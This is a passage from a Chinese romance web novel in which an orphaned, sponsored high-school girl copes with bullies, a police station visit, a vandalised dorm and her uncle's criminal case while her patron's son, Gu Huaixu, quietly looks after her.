除了层出不穷的诸如“草莓炒芹菜”、“玉米炒葡萄”之类的奇葩菜谱和黑暗料理,就是这免费汤饮,一般学生根本看不上,大多拿来涮餐具。
宋司雾去窗口领了一碗,味道是挺寡淡的,而且不太热了。
姜莱笑她:“很一般吧?说了你还不信。”
父母去世前,宋司雾的家里还算殷实,爸爸做外贸生意,妈妈在音乐学院当老师,她算是被宠大的,十岁之前基本没吃过什么苦。
尽管如此,宋爸爸还是觉得女孩子不能过于娇生惯养,每次回乡祭祖都会带上她。
小姑娘晕车,县城的路颠得她吐了一路,窝在妈妈怀里哭着闹情绪。宋爸爸心疼却还是坚持,名曰忆苦思甜,要让她知道父辈成就的来之不易。
南城一中是宋爸爸的母校,宋司雾小学时跟着校友团入校参观,见爸爸指着一处翻新过的食堂窗口说,当年他就是在这儿领餐,现在条件好了,还提供免费的汤饮。
那时她没想过以后会来一中念书。
当年没喝的汤,现在已经凉了。
宋司雾放下勺子,见姜莱正用一种奇怪的眼神看着她。
“怎么了,我脸上有钱?”
姜莱冲她右手努努嘴,“手怎么回事,受伤了?”
宋司雾嗯了声:“搬行李时不小心蹭的,破了点皮。”
“少诓我,职高那伙人又找你麻烦了?”
见宋司雾不吭声,姜莱就知道自己猜得没错,“他们有病吧?你都转学了还阴魂不散!”
姜莱口中的“他们”,是宋司雾以前学校对面职高的几个混混,专门在上下学路上蹲人收“保护费”。
宋司雾高一时撞见过一次,他们把和她同班的一个男同学堵在巷子里,拿烟头往他校服上烫洞。
那男生坐她前桌,平常戴个眼镜,斯斯文文的,有回宋司雾生病缺课,还借过她化学笔记。
她偷偷拍下照片报了警。
第二天那伙人被放出来,领头的黄毛把她按在灰霉墙上嘲,说昨天那小子没种,稍微威胁两句就把她卖了。
后来,他们盯了宋司雾两年。
“没有,是开学前那天在路上碰见了。”宋司雾语气沉静,脸上没什么表情,仿佛在谈论和自己无关的事情。
姜莱哼哼两声,把她手捉了过去。
“涂药了没有?”
“涂了。”
“下次他们要是还敢来找你,直接叫保卫科。要不是Z中那帮老东西不作为,那几个孙子早进去踩缝纫机了。”
宋司雾勉力地抬了抬唇角。
从小到大,除了父母,也只有姜莱会这样维护她。
自从她家道中落,从前爱围在她身边的那些所谓死党都作鸟兽散,明里暗里奚落她的也大有人在。
宋司雾很早就知道人心不可靠,从前在父母庇护的象牙塔中养成的开朗天真,慢慢也就变成了现在的沉默麻木。
也只有在和好朋友相处的时候,才能偶尔窥见一点从前的影子。
-
周五晚上,顾淮序受邀出席一个艺术品拍卖会。
姐姐顾釉如不在国内,托他去拍一幅心仪很久的油画。
他倒无所谓,只问既然那么喜欢,怎么不亲自回来。
顾釉如在电话那头笑说,这次安排的欧洲巡展至少还要一个月才能结束,实在抽不出空,只好叫他代为出席。
这类拍卖会一般竞买人不会亲临现场参与竞价,多数由助理代劳。
真正的买家通过远程直播了解拍品情况,和助理电话沟通出价。
今次拍品的卖方背后是帝都的沈氏集团,表面是拍卖,实则是信息互通、利益交换的契机,因此现场还是到了不少南城的各界人士。
那副油画出来时,在场的人也都精明,瞧出顾淮序中意,没几个人跟他竞价,最后以六百五十万元成交。
拍卖会结束之后还有晚宴,顾淮序没有参加,让助理联系主办方直接拿画走人。
赵修梁也不知道哪里来的消息,知道顾淮序今晚在这儿,专门跑来给自己求情。
赵修梁年近六十,算是跟着老爷子一路摸爬滚打过来的。
这几年顾老爷子的精力愈发不济,集团的事每天千头万绪,也是心有余而力不足,所以顾淮序一回国就全权让他接手。
尽管这位少东家在德国读博期间就分管集团在欧洲的部分业务,但顾氏高层盘根错节,权利倾轧,表面勤谨恭顺,实际各怀心思。
单论赵修梁这件事,顾淮序的堂兄顾虔业就指责他太不留情面,说董事长对下属一向体恤,这么做恐怕会伤了不少老臣的心。
确实,近几年老爷子越来越讲究“人文关怀”,某个被资助的小姑娘不就是爱屋及乌的结果吗。
顾淮序也不多言,对老爷子只有一句话:要是放任这样的蛀虫留在集团,往后大厦倾塌也是指日可待。
赵修梁一开口就细数自己这些年对集团做的贡献,话里话外内涵有人要越过董事会狡兔死走狗烹。
顾淮序安静听他说完,表情疏无变化,提起纯白羊脂玉瓷壶倒了一杯茶,放到赵修梁面前,语气薄凉:“听说令正是做纪检工作的。”
赵修梁心中一凛,有些不明其意。
顾淮序继续说:“这轮审计结果很快就会送到她手上,赵叔年事已高,以后集团的事就不用费心了。”
赵修梁气得发抖,整个人扑上来时被保安拦住,又因没站稳几乎跪倒在地。
“阿序——哦不,顾总。我错了,我知道错了,我保证以后绝不再犯。你放心,公司账上亏空的钱我都会补上。看在这些年我对顾氏忠心耿耿的份儿上,饶过我这一回。”
顾淮序抬了抬手,示意保安放开他。
“这件事情我帮不了你。我劝赵叔还是积极配合调查,争取减刑。”
打发了赵修梁,在露台吹了会儿风,正掏烟盒,手机响了,顾淮序接起来。
电话那头一个严肃的男声——
“你好,是宋司雾的监护人吗?这里是南城XX区XX路派出所,请你现在过来一趟。”
-
顾淮序到派出所的时候,大厅里还剩三个人。
两个犯事儿的社会青年被铐在角落里,蹲着等审讯。
宋司雾穿着简单的白T和牛仔裤,坐在长椅一端。人是低着头的,听见警察喊她名字倏然抬起头来。
顾淮序走进大厅,没什么表情地看了她一眼,躬背在册子上签名。
宋司雾从椅子上站起来。
他穿着与往日不同,一身枪灰色西装整齐挺括,领带打得仔细,袖扣腕表一样不缺,是出席正式场合的着装。
铐在墙边的黄毛青年悄瞄了眼停在门外的那辆黑色卡宴,对着同伴暗暗操了声。
小姑娘看着挺普通,晚上两人刚进来的时候,她就在这儿了。
好像是因为未成年,在网吧被网管逮住了,警察批评教育一顿,叫她家人来接,没想到等了半天居然来这么一大款。
顾淮序签完字,和民警说了几句便提步出门,宋司雾赶紧跟上去。
他站在门口台阶上,摸了摸西裤的口袋,掏出烟盒和打火机,抽一支含在嘴里,手拢住火正要点,想到什么又收起来。
“饿不饿?”
他声线低沉,比夜风还疏淡三分。
宋司雾愣一下,摇了摇头。
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顾淮序不带什么情绪地嗯一声,把身份证递给她,让她收好,“我送你回去。”说完,几步下了台阶。
滴滴两声,院内梧桐树下一辆黑色汽车车灯亮起。
宋司雾走近一看,她认得这车。
那晚她在街头被人霸凌,顾淮序就开的这辆,价格不菲,造型却十分低调,不细看真容易错认成普通SUV,以至于她情急之下会钻进他的车避险。
刚上车坐好,宋司雾就听见自己肚子叫了一声,动静倒不大。
她坐直身体,拿余光瞄了眼顾淮序,他正在专心倒车,浑然未觉的样子。
车开了一段,经过几个路口,最后停在一家装修很有年代感的餐厅门外。
“下车,陪我吃顿便饭。”
他口吻很是淡漠,一副不容置喙的语气。
宋司雾犹疑一瞬。
他还没吃晚饭?
这身装束叫人以为他刚从高级酒宴上下来。
自觉已经耽误他很多时间,她没有拒绝的余地,立刻下了车,快步跟上。
餐厅打着江浙菜的招牌,店内装饰古朴雅致,这个时间人不算多,很清静。
穿过几个圆形石拱门,沿着木质楼梯上楼,到包厢坐下,服务生进来点单。
侍者沏茶时,宋司雾留意到对方左手拇指似乎缺了半截。
一直盯着别人的残肢不礼貌,她只看了一眼便收回目光。
顾淮序翻着菜单,问她:“有没有什么忌口的?”
宋司雾摇头。
点完招牌白水鱼、蟹酿橙和几样时蔬,他又问她要什么甜品。
宋司雾盯着他没作声,心道两个人吃得完吗?
顾淮序像是瞧出她的心思,递过菜单,说:“他家菜分量不多,你看看还想吃什么。”
服务生到她身边依样介绍,宋司雾看得眼花缭乱,最后选了一例小时候常吃的桂花酒酿圆子。
待工作人员都退出去,包厢里只剩她和顾淮序两个人,宋司雾莫名生出几分紧张。
吃饭恐怕是借口,找机会对她批评教育才是目的。
上回只是小打小闹,这次进了派出所,估计这位要摆出长辈架子好好对她耳提面命一番。
如此想着,她心不在焉地端起茶杯尝了一口,不自觉蹙眉。
顾淮序瞧她,“难喝?”
宋司雾愣了下,委婉地说:“味道有点怪。”
茶叶像是被烟熏过,回味还有点酸。
“这是六安篮茶,算是黑茶的一种,在江淮一带很出名。”顾淮序视线投过来,“上回看你很懂茶。”
宋司雾捏着茶盏,砰地一声轻轻放下,唇角挂着挑不出错的弧度,“没有多懂,那天是碰巧认识,在顾爷爷面前班门弄斧了。”
她幼时曾跟随一位名师学习乐器,那位对茶道颇有研究,经年累月下来耳濡目染,多少学到一些皮毛。
上回顾爷爷聊到茶叶,她很自然地就接了一句,全然没有卖弄的意思,但落到旁人眼里恐怕有刻意之嫌。
顾淮序淡淡嗯一声,没再说什么。
小姑娘聪明,年纪轻轻很会藏巧于拙,还练就了一身察言观色的本领。
他逐渐确信那天他救下的可能不是“兔子”,而是一只狡猾的小狐狸。
食物很快上桌,折腾了一晚上,宋司雾确实有些饿,不过有顾淮序在,她不敢造次。
他似乎很忙,菜刚上完,就说要出去打个电话,让她先吃。
来这种地方吃饭的人主要图个清净,菜品味道中规中矩,胜在食材新鲜。
宋司雾夹一著鱼肉送进嘴里,鲜甜软嫩。
蟹酿橙也还不错,蟹肉混杂着橙子的清香,风味独特。
她以前很爱这道菜,算起来也许久没吃过了。
昨晚闲聊时隐约听丁姨提了一嘴,顾淮序基本不吃海鲜水产,今天点的菜却都是这些,似乎是在迎合她的口味。
这两次见面,他对她的审视,宋司雾不是没有觉察到,但他又在方方面面表现得很照顾她的样子。
除了顾爷爷的关系,她能想到的另一种解释是他们这种层次的人各方面欲望已经餍足,偶尔会通过向下施展善意的行为来获得精神上的满足感。
比如某些商人扮演“爱心人士”动不动捐个学校之类的,真不真心不重要,重要的是挣了一个好名声。
这些宋司雾都不在意,她要做的,就是利用顾家的资源完成想完成的事。
等顾淮序回来,她已经差不多吃饱了。
她食量浅,餐盘里的菜几乎看不出动了,就连那份小碗的酒酿圆子也只喝掉一半,倒是蟹酿橙基本吃完。
顾淮序在她对面坐下,并无半分动筷子的意思。
宋司雾看他,试探问:“顾先生不吃吗?”
顾淮序目光平视过来,注意到小姑娘右手袖口露出一小节白色敷贴,淡漠的眼底静水流深,“伤怎么样了?”
7. Chapter 07
宋司雾垂眸,看了眼右手,把衣服袖子往下拉了寸许,盖住手背。
“涂了药,已经没事了。”
顾淮序嗯了一声,问:“饱了?”
宋司雾点了点头。
顾淮序说:“吃好了送你回去。”
宋司雾立刻道:“我可以自己回去,不耽误您时间了。”
然而顾淮序已经起身,没给她拒绝的余地。
她当然不指望一点小小的苦肉计能有多大作用,顾淮序这种阅历的人,过的桥比她走的路还多,这点小伎俩大概根本不会放在眼里。
临走前宋司雾留心瞧了眼账单,默默倒吸口凉气,这顿便饭实在名不副实。
从包间出来,顾淮序去取车,宋司雾在前厅等。
餐厅门口的桂花树下趴了只脏兮兮的小橘猫,耳朵尖尖的,似乎是饿了,一直冲她叫唤。
宋司雾想要走近点去瞧,就听见一阵说笑声,猫陡然受了惊,一下子跑没影了。
抬眼看去,一伙人正往这边来,前排几个男生高高瘦瘦的,似乎还有熟面孔。
连桐也看见宋司雾了。
视线跟他撞上时肉眼可见的冷漠,好像根本不认识他似的。
他稍稍被这目中无人的态度惹恼了,又想起上回她那句“不关你的事”和那个眼神,更加不爽。
受了顾家的恩惠,还敢那么跟他说话,真是不识好歹。
聚餐的地方就订在附近,连桐叫其他人先去,自己去办点事,一会儿汇合。
他手抄在兜里,大摇大摆走到宋司雾面前,轻叱:“大晚上在人家店门口干嘛呢,站岗啊?”
宋司雾明显不想理他,转身欲走。
连桐拦住她去路,扯唇笑了下,瞥了眼餐厅招牌,“你胆子倒是挺大的,敢到这种地方消费。”
宋司雾终于抬眼看他,冷冷吐出三个字:“我没有。”
连桐轻哼一声,来了劲,“那你吃的什么饭,难不成有人请客?”
宋司雾抿紧双唇,别开脸。
见她这副表情,连桐反而笑了,瞧着柔柔弱弱的,脾气倒挺倔。
自从这学期开学,整个年级对宋司雾的议论就没断过。
起初是隔壁宿舍的男生,后来校队一起打球的体育生也来问,那个普高来的转校生是不是在他班上。
平心而论,宋司雾长得还算可以,但也仅仅是扔进人堆里,不至于泯然于众的那种长相。
白是白,但脸上一点血色都没有,还特瘦,身材干巴巴的,每次看见她穿那身校服露出裙摆下两条竹竿似的腿,连桐都不禁发出疑问:
怎么会有人瘦成这样?
她家的饭都喂给谁吃了?
还有她那种孤僻的性格,跟冰块似的,半点不招人喜欢,偏还有人上赶着去碰硬钉子。
听说隔壁班几个送去示好的纸条和礼物,第二天就从教室垃圾桶里被翻出来。
原封不动,拆都没拆。
想到这,连桐觉得很有必要好好给这人敲个警钟。
免得她脑袋抽筋着了谁的道儿,做出什么不光彩的事情来,到时候丢外公的脸。
“我告诉你啊,我们家资助你是为了防止你误入歧途,要是有什么奇怪的人平白无故对你好,给你送东西、请你吃饭什么的,趁早离他远点。现在坏人可多了,别怪我没提醒你。”
见她一副莫名其妙的表情看着自己,也不知道听进去多少。
于是又凶巴巴威胁了句:“说话啊,听到没有?”
宋司雾不耐烦地瞪了他一眼。
连桐:“……”
果然是茅坑里的石头,又臭又硬。
还想再教育她两句,前方忽地车灯一闪。
宋司雾不再理他,快步朝路边走去。
连桐在身后叫她,她却充耳不闻,迅速拉开副驾车门钻进去,坐好之后连窗户一起关上。
连桐追到跟前,才发现这辆卡宴有点眼熟,目光越过宋司雾看向驾驶座,车里坐的竟然是顾淮序。
顾淮序手搭在方向盘上,看了看连桐,又瞥了眼身旁气鼓鼓的宋司雾,不难猜出发生了什么。
连桐不得不绕到另一侧,“小舅,你怎么跟她在一起啊,你今晚不是……”
“回头再说。”顾淮序打断他,“你在这干嘛?”
连桐对刚才抓着宋司雾一通怀疑莫名有点心虚,怕待会儿某人恶人先告状,赶紧解释:
“我朋友生日聚会,在附近吃饭,碰上了就、就随便聊两句……要没什么事,小舅我先走了啊。”
顾淮序知道连桐虽然狐朋狗友多,但也不敢乱来,没再多问,只叫他别喝酒。
连桐走后,顾淮序开车拐上大路,大灯照着前方,汇入车流。
察觉到副驾上的人在出神,出声提醒:“安全带。”
宋司雾微怔,才发觉刚才上车时没系。
扣好安全带,兜里手机振动起来。
这部还是几年前吴晓岚用淘汰给她的,键有些不大灵,接电话要按两下。
电话是姜莱打来的,听宋司雾的室友说她一晚上没回宿舍,担心她出事。
姜莱问:“你现在在哪儿呢?”
宋司雾说:“回去的路上。”
“你吓死我了!我听说学校后门网吧被查了,还以为你蹲派出所去了!”
“……”
宋司雾这边压着声音,那头却嗓门贼大,生怕别人听不见。
车厢里安静,广播都没开,手机听筒跟个喇叭似的,不贴着耳朵都听得一清二楚。
宋司雾说:“我没事。”
“你没事儿就行,要是你今晚睡派出所,我还得费劲巴拉去捞你。对了,网吧老板没为难你吧?你不会真用丝袜蒙面去的吧?”
“……”
宋司雾想把电话挂了。
挂之前还是跟姜莱交代了几句,说身份证改天还她。
收起手机,不由地看一眼顾淮序,他脸上没什么表情,专心开车的样子。
餐厅离一中不远,十几分钟开到。
街道这侧没办法掉头,车只能停在马路对面。
顾淮序把车熄火,从驾驶位上下来,“我送你过去。”
红灯倒计时,两人停在斑马线前。
他高她许多,这会儿站得近,路灯将影子拖在地上,一短一长。
宋司雾习惯了沉默,不说话的时候任由思绪飘远,以至于顾淮序开口时她微微一怔。
“今天去网吧做什么?”
寡淡而平和的语气,不像问责的意思。
宋司雾没吭声。
顾淮序一手抄在西裤口袋里,转头去看她。
小姑娘眉眼清灵,外表和普世眼中那种需要被保护照顾的柔弱形象很相符,行为却背道而驰。
他没有苛责小辈的习惯,连桐偶尔犯了一些无伤大雅的过失,他也是睁只眼闭只眼,由得他去。
不过今天这事他既然插手了,没有不问一句的道理。
“我不是你的家长,也不是监护人,你想说就说,不愿意说就罢。”
宋司雾沉默了片刻,方才开口。
她说:“查学习资料。”
顾淮序微微抬眉,似乎对她的回答持怀疑态度。
宋司雾看出他的疑问,继续说:“您不相信的话,可以去调监控记录。”
她抬起头,眼底清澈澄净,极具欺骗性的表情。
顾淮序看着她,眸色加深几分。
她这般信口雌黄,倒是真不怕他把今天的事告诉老爷子。
宋司雾目光一错不错地与他对视,看不出分毫紧张,全然一副问心无愧的架势。
在大人眼里,她干了件离经叛道的事,因此早做好了被究责的准备。
尽管知道找顾淮序帮忙,他必然能从民警那儿了解原委,但其中细节,想必不会过多深究。
顾淮序收回目光,不带什么情绪地问:“有没有想过考什么学校?”
宋司雾一愣,不知道他为什么突然问这个,把预备好的那套说辞咽了下去,垂着眼没吭声。
说没想过是假的。
舅舅出事后,她一度以为自己要辍学了。
那时候吴晓岚的态度明确,说家里没了顶梁柱,还欠下一大笔债,不可能再继续供她读书。
后来顾老先生知道了这件事,派人联系到宋司雾的学校和老师,提出要资助她,给她转学,并且承担所有费用。
开学前那天,是她第一次去东郊老宅拜访顾爷爷。
老爷子私下给了她一张卡,告诉她每个月会往里面打一笔生活费,叫她务必收下。
她站在原地半晌才接过那张银行卡,低声和顾老先生道谢。
她在心底暗暗自语,就当是借的,以后一定还。
想到这些,她控制不住地微微颤抖,用力攥住手指,一句话也说不出来。
现实引力太大,容不得她想怎样。
顾淮序低头瞧她,良久,才道:“你舅舅的事我会叫人留意,不必担心。你很聪明,我不希望你因为无关紧要的事情耽误自己。”
宋司雾抿住嘴唇,想起刚才她坐在派出所的长椅上翻手机通讯录,里面一个能领走她的大人都没有。
有位老民警好心,给她倒了杯水,起身去接时,一张烫金工艺的卡片从牛仔裤口袋里掉出来。
那是她今早上药时随手揣进口袋里的。
民警问她,这名片上的人怎么和他们查到的监护人信息不一样。
“你确定这个人会来接你?”
她也不确定顾淮序会不会来。
无意中摸到右手手掌上的敷贴,又莫名地想,或许吧。
好像除了试着信任他,也没有别的选择。
走到马路对面,宋司雾停下脚步,匿去翻涌的情绪,出声喊住顾淮序。
“顾先生,就到这儿吧。”
顾淮序驻足站定,顺着她的视线看了眼不远处校门口的光亮。
“今天谢谢您。”宋司雾顿了一顿,复又开口,“您会把这件事告诉顾爷爷吗?”
顾淮序垂眼看她,目光幽深,带着几分审视,“你觉得呢。”
宋司雾想了
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想,直言:“我觉得您应该没那么无聊。”
很聪明的回答。
面前的女孩神色笃定,细白脖颈微微仰起,月光在她眉眼下方投出一点微薄阴影,叫他无端想起初见时那道寥落的背影,仿佛一只遗世独立的空谷幽兰。
小姑娘很会欲退还进。
明明是担心他告状,偏给他戴了顶高帽,要真跟她计较,反而显得他无聊且没有风度。
顾淮序敛眸,未置一词。
女孩抬着下巴,还在等他回应的样子,一双眼睛纯粹干净,神情算得上殷切。
顾淮序瞥了一眼便收回目光。
“下不为例。”
-
周五晚上,大部分同学都回家住,402的女孩子们也不例外。
在校门口同顾淮序道完别,宋司雾回到宿舍区。
拾阶而上走到四楼,灰白长廊两侧漆黑一片,只有头顶的白炽灯还亮着。
一进宿舍打开灯,她就察觉到不对劲,快步走向自己的位置。
眼前一幕让气血瞬间涌上大脑。
椅子翻倒在地,桌子被杂物淹没,书架隔层和抽屉里的东西七零八落,柜子的内衣内裤被全部扯出来扔在地上,有几件还能看见数道脚印……
狼藉一片。
宋司雾在原地站了片刻,勉强冷静下来,从兜里掏出手机,拍照存证,然后下楼找来了值班的宿管。
宿管阿姨一进门着实被这场面吓了一跳,赶紧问宋司雾是哪个班的学生,又叫她看看有没有丢东西。
没过一会儿,保卫科的人上来查看情况,对宿舍内外的门窗都进行了仔细检查,没有发现撬动的痕迹。
保卫科的人说,由于宋司雾什么也没丢,只是个人物品被弄乱了,看上去更像是恶作剧,叫她先别担心,这几天睡觉锁好门窗,他们会加强警备。
周一一早,班主任将宋司雾叫到办公室,说保卫科调取了上周五下午宿舍楼走廊的监控,暂时没发现可疑人员。
“那天除了你们住在402的同学,只有七班几个查寝的学生进去检查卫生。”班主任说到这顿了顿,看着宋司雾,斟酌用词,“那几名同学,有和你认识的吗?”
看着面前沉默的少女,班主任无奈地叹了口气。
高三对所有要参加高考的学子都是至关重要的一年,很少会有学生在这个时候办理转学,更何况是从普高转进南城一中。
宋司雾的情况他大致了解。
小姑娘话不多,性格有点孤僻,但成绩优异,很聪明。在原来那种学习环境下,联考依旧名列前茅实在难得。
这学期她初来乍到,连自己班上的人估计都没认全,更遑论和其他班级接触了。
转校生融入集体往往有一段适应期,越内敛安静的性格越容易被孤立。
校园霸凌这种事虽说在一中很少见,但也不排除几年会出现一两例。
班主任安慰她:“这件事你受委屈了。我会找七班老师聊一下,如果真的是有人故意为之,我一定和校领导反映,严肃处理。我听宿管说你有些书损坏了,这几本是新的,你先拿去用吧。”
宋司雾低头看着桌上那一摞崭新的课本,没吭声。
班主任虽然一句没提,但她也知道自己在学校获得关照很大程度是沾了顾家的光。
她没有拒绝,收下书,和老师道谢。
从办公室出来经过七班门口,又看见了那个叫明曦的女孩子,还是时髦的公主切发型。
她站在走廊上,手里拿着最新一期的时装杂志和几个女生讨论爱豆排名,眉眼弯弯,笑得明艳生动。
宋司雾抱着书经过她们身边时,除了女孩们的谈笑声,还有一句讥嘲轻轻地落在她耳朵里。
“活该。”
宋司雾不为所动,没给一个眼神,脖颈挺直,仿佛未听见般,迈开步子,径直走了过去。
-
高考报名在即,高三学生中秋节只放一天假。
宋司雾趁假期回家拿报名需要的户口本。
舅舅家她待了六年,房子不大,七十来平,虽比不上从前的家,但也算是个遮风避雨的地方。
等判决结果下来,房产查封,这里就和她再没关系。
取完东西走到小区门口,宋司雾被门卫的保安大叔叫住。
大叔也住附近,眼熟宋司雾,说是刚才来了辆黑色轿车,对方有东西要转交给里面的住户,问了门牌号,就是宋司雾家。
“上面有规定,不让在这儿存放物品。”
大叔往路边指了指,“呐,就是那辆车,还没走呢,是你家亲戚吧,过节还专门来送礼,一看就是大老板。”
大老板。
她不记得自己认识什么大老板。
宋司雾顺着大叔手指的方向朝路边看去。
顾淮序立在车边,一只手掌着车门,另只手贴在耳侧,似乎在打电话。
他一身商务西装,衬得气质比上次见面更加清冷矜贵。
要装作没看见已经来不及,与人视线径直对上,下一秒顾淮序就收起手机,朝她走来。
8. Chapter 08
顾淮序身高腿长,没几步就到她跟前。
“你电话打不通。”他说。
宋司雾低头摸上衣口袋,顿觉不妙,手机果然不在。
她今天是坐地铁过来的,中途还转了一次站,节假日人多,可能是什么时候被挤掉了。
顾淮序见她愁眉不展,也猜到几分,瞥了眼她身上的背包,“回学校?”
宋司雾捏着空荡荡的口袋,还在思考手机会丢在哪儿,有些许恍神。
愣了几秒,才点一下头,“过来拿东西。”
顾淮序淡淡嗯了一声,“走吧,我正好去接连桐。”
宋司雾刚想拒绝,他已提步转身往回走,她只好跟上去。
上了车,把包放去后座,瞥见皮质座椅上摆着盒月饼,包装很是精致。
顾淮序说:“衔芳斋定的,丁姨要我带一份给你。”
上回拜访顾爷爷之后,宋司雾又去过一次东郊老宅。
那天顾淮序不在,她陪顾爷爷喝完茶,就在院子里帮丁姨给兰花培土。
丁姨终日料理家事,难得有小辈作伴,拉着宋司雾聊了不少话。
初见宋司雾时,只觉得这小姑娘模样清秀,说话也中听。
如今相处下来,更是愈发喜欢她的聪慧伶俐。
只是早年间的遭遇,难免让她身上多了一些少年老成的稳重,少了这个年纪本该有的生动鲜活。
丁姨有心,惦记着中秋小姑娘孤零零地一个人过,于是单独备了份礼,嘱咐顾淮序今天差人送去。
宋司雾默了一瞬,和他道谢。
顾淮序说:“今天过节,晚上如果想去老宅,可以叫人来接你。”
她轻摆一下头,“不用麻烦了,昨晚已经打电话问候了顾爷爷。”
顾淮序目光在她脸上掠过一眼,半月不见,她似乎又瘦了些。
面色透着不健康的苍白,脸颊轻微凹陷,皮肉紧紧包裹着下颌,轮廓明显。
这个年纪的女孩子正是青春洋溢、生机盎然的时候,在她身上却看不到多少朝气。
顾淮序自认不算冷血,但也没有泛滥的同情心。
那天从老宅回来之后,老爷子当晚又追了一通电话,特地嘱咐他,说小姑娘无父无母,身世可怜,叫他往后尽量帮扶,照顾一二。
这些年,除了集团的事,父子二人鲜少交流。
一方面是顾淮序向来不把顾行雍的话放在心上,另一方面是老爷子上了年纪,对儿女情份淡薄的事实彻底看开。
顾淮序之前基本住在国外,顾釉如画展忙起来的时候也是满世界飞,一双儿女真正留在父亲身边的日子屈指可数。
顾淮序回国之后,但凡顾釉如夫妻不在南城,他都会尽量帮忙盯着连桐,免得这个二世祖惹事。
这回老爷子嘱托他照顾宋司雾,也不算什么大事。
小姑娘现在和连桐同校同班,一只羊也是放,两只羊也是赶,在他眼里没有区别。
开了一段,车停在路口,要等一个很久的红灯。
顾淮序手搭在方向盘上,淡声问:“最近怎么样,还顺利吗?”
宋司雾一愣,点了点头。
舅舅的案子这周庭审结束,一审法院判了有期徒刑五年,舅舅选择上诉,但因为证据事实充分,二审减刑的可能性不大。
“请律师了吗?”顾淮序问。
“嗯。”
“属于你的个人财产,法院怎么判的?”
“不剩什么了。房产都在舅舅名下。”
当年宋父宋正韬离开顾氏后,自己做起了外贸生意。
积年累月下来也攒了点家底,虽然没有大富大贵,但生活还算富足,衣食无忧。
父母遇难后,舅舅舅妈就成了宋司雾的监护人。
舅舅冯继早年是货车司机,后来宋正韬给他在公司里安排做了个小经理,占了些股份,管管物流。
因为宋正韬出事,公司业务大量萎缩,食尽鸟投林,原先的管理班子也跟着解散。
起初还能勉强维持经营,几番折腾下来,资金链断裂,最终宣告破产。
公司没了之后,冯继又干起了老本行。
跑大路辛苦,不知何时就染上了赌博的恶习。
这东西上瘾,几年下来,不仅败光了宋氏夫妇留下的所有家产,还欠下高额债务。
最后不得已,剑走偏锋,卷走了公家几十万的货款。
警察带走舅舅那天,宋司雾也在场。
冯继知道自己是被人举报落得网,认定是被外甥女出卖。
冰冷的银色手铐扣在腕上,憔悴的男人双目通红,直勾勾地盯住她,破口大骂——
“你这个丧门星,枉我养你这么多年,竟然出卖老子!别以为你能摆脱我,等老子出来看我怎么收拾你!”
宋司雾那时就静静地站在原地,仿佛一座雕像,始终未发一言。
顾淮序没再问下去。
静了一阵,才淡淡道:“经济上有任何困难,尽管开口。”
宋司雾听着,没作声。
片刻之后,才声音平静地冒出一句:“顾先生是慈善家吗?”
她语气几分挪揄,不圆滑还带着刺,和平日恭敬温驯的样子不太一样。
顾淮序眉心微动,顿了数秒,才不疾不徐地开口:“算不上,我没有普渡众生的爱好。”
宋司雾靠在座椅里,盯着玻璃窗外形形色色的路人,却没了下文。
顾淮序今天这趟除了帮丁姨捎礼,还有一件事要和她当面确认。
“昨天我接到沪城XX区派出所的电话,说你舅妈——吴晓岚,牵涉一起网络传销。”
宋司雾转头看向顾淮序,试图消化他话里的信息。
顾淮序觉察到她的情绪波动,继续说:“人找到了,别担心。据说是个盘踞在沪城很久的网络传销团伙,她一开始也是被骗的。”
宋司雾微微松了一口气,又注意到他语气有些不太寻常。
“吴晓岚没有经济来源,他们调查到一个IP地址在南城的网银账户,半个月前曾给吴晓岚汇过款……”
宋司雾唇用力抿成一线。
“您认为给她汇款的人是我?”
这话的意思再明显不过,顾淮序怀疑她把顾家资助她的钱拿去给吴晓岚填坑,助纣为虐。
“我不是这个意思。”
顾淮序侧头看她一眼,宋司雾已别开了脸,朝向冷硬的玻璃。
偏他还要继续这话题。
“她联系过你吗?”顾淮序问。
“嗯。”
“什么时候?”
“开学之前。她找我要钱,我没给。”
吴晓岚一介女流,又没什么背景,丈夫犯了事,欠下一大笔债,她为求自保大义灭亲也算正常。
但检举丈夫入狱后,她的日子也不好过,追债的人并没有就此放弃讨债,反而去家门口对她围追堵截。
顾淮序问:“她什么时候离开南城的?”
“上个月。”宋司雾的声音极度冰冷,有种余烬缥渺之感。
“她买了张火车票,拿着家里最后的几千块钱走了。”
之后再也没回来。
正如吴晓岚所言,自身都难保,哪里管得了宋司雾的死活。
那年宋司雾拿到中考成绩单,满心欢喜以为能去一中读书,吴晓岚却自作主张把她送去了Z中,换来的是免费入学资格和每年一笔颇丰的优秀学生补贴。
可想而知,这样的人在得知自己养了好几年的外甥女被顾家资助后,动心起念会去做的事。
上次吴晓岚来要钱,宋司雾就下定决心要划清界限,这才去网吧查相关案例资料,没想到阴差阳错被扣在派出所。
“后来的事您都知道了。”
顾淮序一时没再说话。
宋司雾说:“顾爷爷资助的每一笔钱我都有记录,顾先生不放心的话可以去查,不该花的钱我不会花……至于是谁给我舅妈汇的款,我也
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不清楚。”
她声音冷得像在冰川里浸过,似乎要一口气把辩驳的话说完。
上回他就瞧出来了,小姑娘是有些傲气在身上的。
宁可枝头抱香死。
静了片刻,顾淮序方才开口:“你有警惕就好,警方排查也只是例行公事,何况银行可以调转账明细,不会出现你说的那种情况。”
宋司雾沉默片刻,低低应了一声。
顾淮序余光瞥了她一眼,小姑娘还是疏淡的一副表情,神色却明显放松几分。
她身上一直有着与年纪不符的沉稳,懂得察言观色,也懂得如何隐藏情绪。
但十七岁,再怎么逞强仍然是个孩子。
路口放行,沿着车道继续开了一段。
顾淮序将车泊停在马路边的车位里,解开安全带,“在这里等我。”
顾淮序走了二十分钟才回来,他拉开车门坐进来,手里多了样东西。
白色纸袋印着银色标志,宋司雾看清后几分愕然,这才想起不远处就是一家商场。
顾淮序把纸袋递过来,“手机丢了不方便,你先拿去用。”
宋司雾触电一般缩回手,果断道:“我不要。”
“为什么?”
“太贵了,我用不起。”
顾淮序微微拧眉,“一部手机而已,不存在用不起。”
宋司雾咬住下唇,生硬开口:“……我不能收。您退掉吧。”
顾淮序目光渐凉,这还是第一次有人提出这种要求。
换做顾家其他晚辈,哪有这种顾虑,比这贵重的礼早不知心安理得收了多少回。
“没有手机你打算怎么跟人联系,靠心灵感应还是量子纠缠?”
“……明天我去重新买一部,二手市场五百左右就能解决。”
“你是想被人监控然后盗取信息?”
顾淮序的声音压低之后有种不容置喙之感,“那种组装机功能少还有安全隐患,这部你以后上网查资料都能用到。”
宋司雾抿唇不言,仿佛不愿再多说什么。
沉默在车厢内弥漫开。
顾淮序靠着椅背,用余光打量她。
